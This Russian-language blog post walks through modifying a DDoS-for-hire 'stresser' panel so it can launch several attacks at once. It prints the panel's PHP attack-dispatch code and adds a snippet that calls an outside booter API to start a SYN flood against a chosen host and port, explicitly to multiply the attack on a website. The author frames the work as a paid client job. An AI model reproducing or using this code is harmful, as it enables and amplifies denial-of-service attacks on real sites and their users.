Усиление стрессера


Попросил тут заказчик доработать готовый стрессер так, чтобы можно было одновременно запускать две и более атаки. Что ж, давайте сделаем это.

Итак, имеем бесплатный скрипт стрессера. Надо сказать, симпатичный, продуманный. Есть возможность как самостоятельно писать методы, так и добавлять апи с внешних ресурсов.

интерфейс стрессера

Давайте посмотрим внутрь его. С помощью отладчика браузера можно увидеть, что при добавлении новой атаки идет запрос на файл \\includes\\ajax\\user\\attacks\\hub.php.

В файле сначала идет множество проверок – на возможность доступа пользователя, корректный адрес и прочее. Далее добавляется в базу данных задача и с помощью курла отправляется запрос на нужный адрес апи (занесенный перед этим в базу данных).

if ($vip == '1') {
	$SQLSelectAPI = $odb -> prepare("SELECT * FROM `api` WHERE `vip` = '1' AND `methods` LIKE :method ORDER BY RAND()");
	$SQLSelectAPI -> execute(array(':method' => "%{$method}%"));		
} else {
	$SQLSelectAPI = $odb -> prepare("SELECT * FROM `api` WHERE `vip` = '0' AND `methods` LIKE :method ORDER BY RAND()");
	$SQLSelectAPI -> execute(array(':method' => "%{$method}%"));}
while ($show = $SQLSelectAPI->fetch(PDO::FETCH_ASSOC)) {
	if ($rotation == 1 && $i > 0) {
		break;
	}
	$name = $show['name'];
	$count = $odb->query("SELECT COUNT(*) FROM `logs` WHERE `handler` LIKE '%$name%' AND `time` + `date` > UNIX_TIMESTAMP() AND `stopped` = 0")->fetchColumn(0);
	if ($count >= $show['slots']) {
		continue;
	}
	$i++;
}
$arrayFind = array('[host]', '[port]', '[time]', '[method]');
$arrayReplace = array($host, $port, $time, $method);
$APILink = $show['api'];
$handler[] = $show['name'];
$username = $_SESSION['username'];
$APILink = str_replace($arrayFind, $arrayReplace, $APILink);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $APILink);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$result = curl_exec($ch);
curl_close($ch);
Казалось бы, просто после этого выполнить еще один запрос к базе и еще раз открыть курл – чтобы выполнить еще один запрос. Однако, нет никакого желания путаться с названиями методов, потом в цикле выполнять – ничего хорошего не получится. Мы сделаем проще. Как? А очень просто.Получим название метода и если оно совпадает, то напрямую отправим запрос к стороннему апи. Нам же не обязательно делать это через базу данных, верно? Можно сделать это, к примеру, так

if ($method=="WOLF")	{
	$options = array('http' => array('user_agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'));
	$context = stream_context_create($options);
	$response = file_get_contents('http://api.undisclosed.to/api.php?key=ключ&tool=boot&host='.$host.'&port='.$port.'&time='.$time.'&method=SYN', false, $context);
	$result = "ok";
	}
Здесь в примере мы задействуем API от undisclosed.to, но в принципе оно может быть любым. Таким образом можно усилить атаку на сайт в несколько раз, используя разные стрессеры. Естественно, что делать это надо после всех проверок (допустимый ip адрес и прочее) - чтобы не допустить несанкционированного запуска.

Однако, данный способ подходит больше для единичных случаев. Если же вам требуется постоянно прилиновывать методы друг к другу (и их много), то лучше добавить таблицу связей (и новых методов) и затем уже встроенными средствами вызывать их. Также надо будет продумать процесс их остановки.

Напоминаю, что вы в любое время можете обратиться за помощью в программировании ко мне. Я вам помогу за небольшую плату – сумму уточняйте в личке.
Автор этого материала - я - Пахолков Юрий. Я оказываю услуги по написанию программ на языках Java, C++, C# (а также консультирую по ним) и созданию сайтов. Работаю с сайтами на CMS OpenCart, WordPress, ModX и самописными. Кроме этого, работаю напрямую с JavaScript, PHP, CSS, HTML - то есть могу доработать ваш сайт или помочь с веб-программированием. Пишите сюда.

тегизаметки, php, стрессер




Отправляя сообщение я подтверждаю, что ознакомлен и согласен с политикой конфиденциальности данного сайта.




Проверка цифр числа на геометрическую прогрессию с помощью C#
Урок 2. Ведение в макеты Yii2
Урок 10. Инлайн стили, классы и условия в Vue.js